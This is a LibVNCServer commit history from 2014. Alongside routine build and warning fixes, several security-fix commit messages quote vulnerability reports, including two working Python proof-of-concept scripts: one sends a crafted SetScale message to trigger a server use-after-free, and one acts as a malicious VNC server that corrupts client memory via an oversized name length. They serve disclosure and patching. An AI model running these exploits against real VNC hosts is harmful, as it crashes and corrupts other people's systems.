1. 30 Dec, 2014 1 commit
  2. 29 Dec, 2014 2 commits
    • Christian Beier's avatar
      Merge pull request #49 from maxnet/master · 91261e52
      Christian Beier authored
      Fix libva related compile errors
      91261e52
    • Floris Bos's avatar
      Fix compiler warnings libvncclient + gtkvncviewer · aaee22aa
      Floris Bos authored
      Fixes the following compiler warnings.
      
      gtkvncviewer:
      
      ==
        CC       gtkvncviewer-gtkvncviewer.o
      gtkvncviewer.c: In function ‘GtkDefaultLog’:
      gtkvncviewer.c:591:2: warning: format not a string literal and no format arguments [-Wformat-security]
        fprintf (stdout, buf);
        ^
      ==
      
      libvncclient:
      
      ==
        CC       rfbproto.lo
      In file included from rfbproto.c:2376:0:
      zrle.c: In function 'HandleZRLE8':
      zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile8' differ in signedness [-Wpointer-sign]
           int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight);
           ^
      zrle.c:37:33: note: expected 'uint8_t *' but argument is of type 'char *'
       #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
                                       ^
      rfbproto.c:2364:22: note: in definition of macro 'CONCAT2'
       #define CONCAT2(a,b) a##b
                            ^
      zrle.c:37:24: note: in expansion of macro 'CONCAT2E'
       #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
                              ^
      zrle.c:79:12: note: in expansion of macro 'HandleZRLETile'
       static int HandleZRLETile(rfbClient* client,
                  ^
      In file included from rfbproto.c:2385:0:
      zrle.c: In function 'HandleZRLE16':
      zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile16' differ in signedness [-Wpointer-sign]
           int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight);
           ^
      zrle.c:37:33: note: expected 'uint8_t *' but argument is of type 'char *'
       #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
                                       ^
      rfbproto.c:2364:22: note: in definition of macro 'CONCAT2'
       #define CONCAT2(a,b) a##b
                            ^
      zrle.c:37:24: note: in expansion of macro 'CONCAT2E'
       #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
                              ^
      zrle.c:79:12: note: in expansion of macro 'HandleZRLETile'
       static int HandleZRLETile(rfbClient* client,
                  ^
      In file included from rfbproto.c:2387:0:
      zrle.c: In function 'HandleZRLE15':
      zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile15' differ in signedness [-Wpointer-sign]
           int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight);
           ^
      zrle.c:37:33: note: expected 'uint8_t *' but argument is of type 'char *'
       #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
                                       ^
      rfbproto.c:2364:22: note: in definition of macro 'CONCAT2'
       #define CONCAT2(a,b) a##b
                            ^
      zrle.c:37:24: note: in expansion of macro 'CONCAT2E'
       #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
                              ^
      zrle.c:79:12: note: in expansion of macro 'HandleZRLETile'
       static int HandleZRLETile(rfbClient* client,
                  ^
      In file included from rfbproto.c:2396:0:
      zrle.c: In function 'HandleZRLE32':
      zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile32' differ in signedness [-Wpointer-sign]
           int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight);
           ^
      zrle.c:37:33: note: expected 'uint8_t *' but argument is of type 'char *'
       #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
                                       ^
      rfbproto.c:2364:22: note: in definition of macro 'CONCAT2'
       #define CONCAT2(a,b) a##b
                            ^
      zrle.c:37:24: note: in expansion of macro 'CONCAT2E'
       #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
                              ^
      zrle.c:79:12: note: in expansion of macro 'HandleZRLETile'
       static int HandleZRLETile(rfbClient* client,
                  ^
      In file included from rfbproto.c:2398:0:
      zrle.c: In function 'HandleZRLE24':
      zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile24' differ in signedness [-Wpointer-sign]
           int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight);
           ^
      zrle.c:37:33: note: expected 'uint8_t *' but argument is of type 'char *'
       #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
                                       ^
      rfbproto.c:2364:22: note: in definition of macro 'CONCAT2'
       #define CONCAT2(a,b) a##b
                            ^
      zrle.c:37:24: note: in expansion of macro 'CONCAT2E'
       #define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP)
                              ^
      zrle.c:79:12: note: in expansion of macro 'HandleZRLETile'
       static int HandleZRLETile(rfbClient* client,
                  ^
      In file included from rfbproto.c:2401:0:
      zrle.c: In function 'HandleZRLE24Down':
      zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile24Down' differ in signedness [-Wpointer-sign]
           int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight);
           ^
      zrle.c:40:33: note: expected 'uint8_t *' but argument is of type 'char *'
       #define HandleZRLETile CONCAT3E(HandleZRLETile,REALBPP,Down)
                                       ^
      rfbproto.c:2366:24: note: in definition of macro 'CONCAT3'
       #define CONCAT3(a,b,c) a##b##c
                              ^
      zrle.c:40:24: note: in expansion of macro 'CONCAT3E'
       #define HandleZRLETile CONCAT3E(HandleZRLETile,REALBPP,Down)
                              ^
      zrle.c:79:12: note: in expansion of macro 'HandleZRLETile'
       static int HandleZRLETile(rfbClient* client,
                  ^
      In file included from rfbproto.c:2404:0:
      zrle.c: In function 'HandleZRLE24Up':
      zrle.c:201:5: warning: pointer targets in passing argument 2 of 'HandleZRLETile24Up' differ in signedness [-Wpointer-sign]
           int result=HandleZRLETile(client,buf,remaining,rx+i,ry+j,subWidth,subHeight);
           ^
      zrle.c:43:33: note: expected 'uint8_t *' but argument is of type 'char *'
       #define HandleZRLETile CONCAT3E(HandleZRLETile,REALBPP,Up)
                                       ^
      rfbproto.c:2366:24: note: in definition of macro 'CONCAT3'
       #define CONCAT3(a,b,c) a##b##c
                              ^
      zrle.c:43:24: note: in expansion of macro 'CONCAT3E'
       #define HandleZRLETile CONCAT3E(HandleZRLETile,REALBPP,Up)
                              ^
      zrle.c:79:12: note: in expansion of macro 'HandleZRLETile'
       static int HandleZRLETile(rfbClient* client,
                  ^
      ==
      Signed-off-by: 's avatarFloris Bos <bos@je-eigen-domein.nl>
      aaee22aa
  3. 28 Dec, 2014 1 commit
    • Floris Bos's avatar
      Fix libva related compile errors · 7b624315
      Floris Bos authored
      - Make h264.c compile with recent libva version by including va_compat.h
      - Only enable libva if libva-x11 is installed
      - Modified configure help text
        Previous help text suggested libva was only build when --with-libva
        was specified, while actual behavior is to build it by default.
      
      Warning: THIS CODE IS UNTESTED. Lacking a h.264 capable VNC server
      Also no attempt is made to support platforms not using X11
      Signed-off-by: 's avatarFloris Bos <bos@je-eigen-domein.nl>
      7b624315
  4. 31 Oct, 2014 1 commit
  5. 21 Oct, 2014 4 commits
    • Christian Beier's avatar
      Update ChangeLog for 0.9.10. · d8bc9838
      Christian Beier authored
      d8bc9838
    • Christian Beier's avatar
      Update NEWS. · 298a1d12
      Christian Beier authored
      298a1d12
    • Christian Beier's avatar
      0aa204d8
    • Christian Beier's avatar
      Fix Use-After-Free vulnerability in LibVNCServer wrt scaling. · 668d3e37
      Christian Beier authored
      Reported by Ken Johnson <Ken.Johnson1@telus.com>.
      
      The vulnerability would occur in both the rfbPalmVNCSetScaleFactor and rfbSetScale cases in the rfbProcessClientNormalMessage function of rfbserver.c. Sending a valid scaling factor is required (non-zero)
      
            if (msg.ssc.scale == 0) {
                rfbLogPerror("rfbProcessClientNormalMessage: will not accept a scale factor of zero");
                rfbCloseClient(cl);
                return;
            }
      
            rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, sz_rfbSetScaleMsg);
            rfbLog("rfbSetScale(%d)\n", msg.ssc.scale);
            rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale, cl->screen->height/msg.ssc.scale);
      
            rfbSendNewScaleSize(cl); << This is the call that can trigger a free.
            return;
      
      at the end, both cases there is a call the rfbSendNewScaleSize function, where if the connection is subsequently disconnected after sending the VNC scaling message can lead to a free occurring.
      
          else
          {
              rfbResizeFrameBufferMsg        rmsg;
              rmsg.type = rfbResizeFrameBuffer;
              rmsg.pad1=0;
              rmsg.framebufferWidth  = Swap16IfLE(cl->scaledScreen->width);
              rmsg.framebufferHeigth = Swap16IfLE(cl->scaledScreen->height);
              rfbLog("Sending a response to a UltraVNC style frameuffer resize event (%dx%d)\n", cl->scaledScreen->width, cl->scaledScreen->height);
              if (rfbWriteExact(cl, (char *)&rmsg, sz_rfbResizeFrameBufferMsg) < 0) {
                  rfbLogPerror("rfbNewClient: write");
                  rfbCloseClient(cl);
                  rfbClientConnectionGone(cl); << Call which may can lead to a free.
                  return FALSE;
              }
          }
          return TRUE;
      
      Once this function returns, eventually rfbClientConnectionGone is called again on the return from rfbProcessClientNormalMessage. In KRFB server this leads to an attempt to access client->data.
      
      POC script to trigger the vulnerability:
      
      ---snip---
      
      import socket,binascii,struct,sys
      from time import sleep
      
      class RFB:
      
          INIT_3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
          AUTH_NO_PASS  = "\x01"
          AUTH_PASS = "\x02"
          SHARE_DESKTOP = "\x01"
      
          def AUTH_PROCESS(self,data,flag):
              if flag == 0:
                  # Get security types
                  secTypeCount = data[0]
                  secType = {}
                  for i in range(int(len(secTypeCount))):
                      secType[i] = data[1]
                  return secType
              elif flag == 1:
                  # Get auth result
                  # 0 means auth success
                  # 1 means failure
                  return data[3]
      
          def AUTH_PROCESS_CHALLENGE(self, data, PASSWORD):
              try:
                  from Crypto.Cipher import DES
              except:
                  print "Error importing crypto. Please fix or do not require authentication"
                  sys.exit(1)
              if len(PASSWORD) != 8:
                  PASSWORD = PASSWORD.ljust(8, '\0')
      
              PASSWORD_SWAP = [self.reverse_bits(ord(PASSWORD[0])),self.reverse_bits(ord(PASSWORD[1])),self.reverse_bits(ord(PASSWORD[2])),self.reverse_bits(ord(PASSWORD[3])),self.reverse_bits(ord(PASSWORD[4])),self.reverse_bits(ord(PASSWORD[5])),self.reverse_bits(ord(PASSWORD[6])),self.reverse_bits(ord(PASSWORD[7]))]
              PASSWORD = (struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7]))
              crypto = DES.new(PASSWORD)
              return crypto.encrypt(data)
      
          def reverse_bits(self,x):
              a=0
              for i in range(8):
                  a += ((x>>i)&1)<<(7-i)
              return a
      
      def main(argv):
      
          print "Proof of Concept"
          print "Copyright TELUS Security Labs"
          print "All Rights Reserved.\n"
      
          try:
              HOST = sys.argv[1]
              PORT = int(sys.argv[2])
          except:
              print "Usage: python setscale_segv_poc.py <host> <port> [password]"
              sys.exit(1)
          try:
              PASSWORD = sys.argv[3]
          except:
              print "No password supplied"
              PASSWORD = ""
      
          vnc = RFB()
      
          remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
          remote.connect((HOST,PORT))
      
          # Get server version
          data = remote.recv(1024)
          # Send 3.8 version
          remote.send(vnc.INIT_3008)
          # Get supported security types
          data = remote.recv(1024)
          # Process Security Message
          secType = vnc.AUTH_PROCESS(data,0)
      
          if secType[0] == "\x02":
              # Send accept for password auth
              remote.send(vnc.AUTH_PASS)
              # Get challenge
              data = remote.recv(1024)
              # Send challenge response
              remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD))
      
          elif secType[0] == "\x01":
              # Send accept for None pass
              remote.send(vnc.AUTH_NO_PASS)
      
          else:
              print 'The server sent us something weird during auth.'
              sys.exit(1)
      
          # Get result
          data = remote.recv(1024)
          # Process result
          result = vnc.AUTH_PROCESS(data,1)
      
          if result == "\x01":
              # Authentication failure.
              data = remote.recv(1024)
              print 'Authentication failure. Server Reason: ' + str(data)
              sys.exit(1)
      
          elif result == "\x00":
              print "Authentication success."
      
          else:
              print 'Some other authentication issue occured.'
              sys.exit(1)
      
          # Send ClientInit
          remote.send(vnc.SHARE_DESKTOP)
      
          # Send malicious message
          print "Sending malicious data..."
          remote.send("\x08\x08\x00\x00")
          remote.close()
      
      if __name__ == "__main__":
          main(sys.argv)
      
      ---snap---
      668d3e37
  6. 14 Oct, 2014 2 commits
  7. 10 Oct, 2014 2 commits
    • Christian Beier's avatar
      Fix possible libvncclient ServerInit memory corruption. · 7ef0ae90
      Christian Beier authored
      This fixes the following oCERT report (oCERT-2014-008 pt.2):
      
      There is a similar vulnerability to the previous one I sent. This is related to the ServerInit message where the width, the height of the server's framebuffer, its pixel format, and the name are sent to the client. The name can be used in a malicious manner to trigger a memory corruption in the client.
      
      Field             Size
      ---------------------------------
      name-length [4]
      name-string  [name-length]
      
      Below you will find a PoC script to show the vulnerability. This was tested on Fedora 20 with the latest version of krdc.
      
      I have noticed something, where the memory corruption causes the program to hang but allows you to try to disconnect. After this it hangs. Occasionally there will be segmentation fault in memcpy. This can become more reliable if you connect to a different VNC server first (Or the wrong port on the malicious server) then connecting to the malicious port. Every time I accidentally made the wrong VNC connection attempt the next time I connected it segfault'd.
      
      Just run the script it will listen on port 5900 and connect to it with krdc for example. I have observed Remmina crash more reliably.
      
      import socket,struct,sys
      
      HOST = ""
      PORT =  5900
      
      c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      c.bind((HOST,PORT))
      c.listen(1)
      
      conn,addr = c.accept()
      print "Connected by ", addr
      
      protocolVersion3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
      conn.send(protocolVersion3008)
      
      data = conn.recv(1024) # Receive the version from them.
      
      secTypeNone = "\x01\x01"
      secTypeAuth = "\x01\x02"
      conn.send(secTypeNone)
      
      data = conn.recv(1024) # Receive the secType choice from them.
      
      secResultOk = "\x00" * 4
      secResultNo = "\x00\x00\x00\x01"
      conn.send(secResultOk)
      
      data = conn.recv(1024) # Receive the ClientInit (Shared-flag).
      
      frameBufferWidth = 0x0480
      frameBufferHeight = 0x0360
      bitsPerPixel = 0x20
      depth = 0x18
      bigEndian = 0x1
      trueColor = 0x0
      redM = 0x0
      greenM = 0x0
      blueM =  0x0
      redS = 0x0
      greenS = 0x0
      blueS = 0x0
      padding = "\x00\x00\x00"
      nameLength = 0xffffffff
      nameString = "AA" * 0xFFFF + "\x00\x0a"
      
      conn.send( struct.pack(">HHBBBBHHHBBB",frameBufferWidth, frameBufferHeight, bitsPerPixel, depth, bigEndian, trueColor, redM, greenM, blueM, redS, greenS, blueS) + padding + struct.pack(">I", nameLength) + nameString )
      
      c.close()
      7ef0ae90
    • Christian Beier's avatar
      Fix potential memory corruption in libvncclient. · 95efcfbf
      Christian Beier authored
      Fixes (maybe amongst others) the following oCERT report ([oCERT-2014-008]):
      
      LibVNCServer HandleRFBServerMessage rfbServerCutText malicious msg.sct.length
      
      It looks like there may be a chance for potential memory corruption when a LibVNCServer client attempts to process a Server Cut Text message.
      
        case rfbServerCutText:
        {
          char *buffer;
      
          if (!ReadFromRFBServer(client, ((char *)&msg) + 1,
      			   sz_rfbServerCutTextMsg - 1))
            return FALSE;
      
          msg.sct.length = rfbClientSwap32IfLE(msg.sct.length); << Retrieve malicious length
      
          buffer = malloc(msg.sct.length+1); << Allocate buffer. Can return 0x0
      
          if (!ReadFromRFBServer(client, buffer, msg.sct.length)) << Attempt to write to buffer
            return FALSE;
      
          buffer[msg.sct.length] = 0; << Attempt to write to buffer
      
          if (client->GotXCutText)
            client->GotXCutText(client, buffer, msg.sct.length); << Attempt to write to buffer
      
          free(buffer);
      
          break;
        }
      
      If a message is provided with an extremely large size it is possible to cause the malloc to fail, further leading to an attempt to write 0x0.
      95efcfbf
  8. 09 Oct, 2014 2 commits
  9. 07 Oct, 2014 5 commits
  10. 06 Oct, 2014 3 commits
  11. 03 Oct, 2014 1 commit
  12. 02 Oct, 2014 8 commits
  13. 30 Sep, 2014 4 commits
  14. 20 Sep, 2014 4 commits